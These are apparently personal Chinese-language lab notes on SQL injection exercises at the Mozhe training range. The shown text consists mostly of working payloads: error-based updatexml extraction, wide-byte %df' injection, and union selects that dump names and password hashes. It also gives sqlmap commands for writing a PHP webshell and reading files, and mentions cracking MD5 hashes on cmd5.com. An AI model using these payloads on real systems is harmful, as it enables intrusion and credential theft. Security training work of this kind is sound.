墨者靶场
实验1 显错注入
1 正常测试
使用测试,分别测试下,可以使用or结合
‘ and 1=1–+
’ and 1=2–+
’ and sleep(5)–+
但是order by 5可以测试到4个字段
但是使用’ and union select 1,2,3,4–+ ,就测试不出任何东西
2 上显错函数
这里需要借助显错函数来完成,可以查到数据库
’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
实验2 sqlmap跑
sqlmap写马
- –file-write “/root/tool/1.php” --file-dest “C:\tool\php\PHPTutorial\WWW\2.php”
读文件 - –file-read “C:\tool\php\PHPTutorial\WWW\123.php”
注意点击那个浮动的链接,
sqlmap跑出来后,试第二个,然后去https://cmd5.com/ ,解密得到6位数字,这是登录密码,不是key
第一个登不上
实验3 宽字节
1测试语句 %df ’
如果报错就表示单引号起作用了
测试id数字等于几是正确的
2 测试几个字段
%df ’ order by 5–+
6的时候就是错的
id必须是-1,不能是1
因为id为1时已经查询到结果,后面的语句不会执行,把id改为一个不存在的值就会自动查询后面的语句
3 判断回显位置
id=-1或者超级大的数字100
%df’ union select 1,2,3,4,5–+
4 直接查询到密码(MD5加密)
http://219.153.49.228:49940/new_list.php?
id=-1%df%27%20union%20select%201,2,group_concat(password),4,group_concat(name)%20from%20stormgroup_member--+
注意,sqlmap注入的时候,必须加上?id
实验4 字符注入
1 判断
id 加点东西,发现2,3位置有回显
' union select 1,2,3,4--+
2 查询库,表,字段,具体数据
- 表
' union select
group_concat(table_name),2 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'--+
- 列名
group_concat(column_name),4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='stormgroup_member'--+
- 数据,前面的工作只是为了获得数据库名称和表名,列名,有了这些就可以查密码
' union select 1,name,password ,4 from mozhe_discuz_stormgroup.stormgroup_member--+
注意:
sql注入的时候,必须加id,否则跑不出来,这样就是失败 sqlmap -u
“http://192.168.46.128/dvwa/vulnerabilities/sqli/” --cookie
“security=low; PHPSESSID=mc3h6japi16vlsfg2pnqflb563” --dbs